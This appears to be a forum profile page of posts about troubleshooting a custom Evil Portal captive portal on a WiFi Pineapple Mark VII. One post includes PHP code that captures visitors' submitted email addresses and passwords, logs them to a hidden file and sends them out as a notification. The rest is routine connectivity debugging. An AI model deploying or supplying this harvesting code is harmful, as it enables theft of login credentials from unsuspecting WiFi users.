Jump to content


Active Members
  • Posts

  • Joined

  • Last visited

Posts posted by astinomia

  1. 19 hours ago, newbi3 said:

    Did you create this portal new on the mk7 or is it from an older version created on the nano/tetra?

    I'll take a deeper look into this weekend.

    Its an old portal that I imported, idk if that would be the problem but the code looks fine to me.

  2. On 9/25/2020 at 11:47 PM, newbi3 said:

    I'm assuming this is a custom made portal since you are submitting credentials. My guess is the portal's backend code isn't handling the authorization flow correctly.

    Yeah, I'm talking about a custom portal.

    public function handleAuthorization()
            if (isset($_POST['email'])) {
                $email = isset($_POST['email']) ? $_POST['email'] : 'email';
                $pwd = isset($_POST['password']) ? $_POST['password'] : 'password';
                $hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname';
                $mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac';
                $ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip';
                $reflector = new \ReflectionClass(get_class($this));
                $logPath = dirname($reflector->getFileName());
                file_put_contents("{$logPath}/.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$pwd}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND);
                $this->execBackground("notify $email' - '$pwd");
            // handle form input or other extra things there
            // Call parent to handle basic authorization first

    Does anything in this handleAuthorization() look like it would cause that error message?

  3. 1 minute ago, newbi3 said:

    Seems like something might be going on with your internet connection then. Are you able to get to http://example.com in your web browser?

    A temporary fix for your issue - just to get you up and running - is to edit this file: `/usr/lib/pineapple/pineapple/helpers/network_helpers.py`

     Change `http://www.example.com` in the following line to `http://www.google.com`

    def check_for_internet(url: str = 'http://www.example.com', timout: int = 1, logger: Optional[Logger] = None) -> bool:


    Yes, I can open http://example.com in my browser, it seems to not work only on the pineapple. I changed it in the helper method, and it worked!


    • Like 1
  4. Works fine.

    root@mk7:/pineapple# ping google.com
    PING google.com ( 56 data bytes
    64 bytes from seq=0 ttl=114 time=33.915 ms
    64 bytes from seq=1 ttl=114 time=41.330 ms
    64 bytes from seq=2 ttl=114 time=28.066 ms
    64 bytes from seq=3 ttl=114 time=29.491 ms
    64 bytes from seq=4 ttl=114 time=29.997 ms
    64 bytes from seq=5 ttl=114 time=27.758 ms
    64 bytes from seq=6 ttl=114 time=30.324 ms
    64 bytes from seq=7 ttl=114 time=28.259 ms
    64 bytes from seq=8 ttl=114 time=29.914 ms
    64 bytes from seq=9 ttl=114 time=28.570 ms
    --- google.com ping statistics ---
    10 packets transmitted, 10 packets received, 0% packet loss
    round-trip min/avg/max = 27.758/30.762/41.330 ms
  5. The `opkg update` command seem to work fine.

    When I run `/etc/init.d/ntpd stop && /etc/init.d/ntpd start`, it says "bash: /etc/init.d/ntpd: No such file or directory".

    Sometimes before the Dependencies window has time to load I see this error: "dial unix /tmp/modules/evilportal.sock: connect: resource temporarily unavailable". I'm guessing that is because I'm missing the dependencies or because it hasn't fully loaded?.

    Also, its probably meaningless but I'm only seeing two rows instead of three of the "Could not connect to internet." error now. Restating doesn't seem to help.

  • Create New...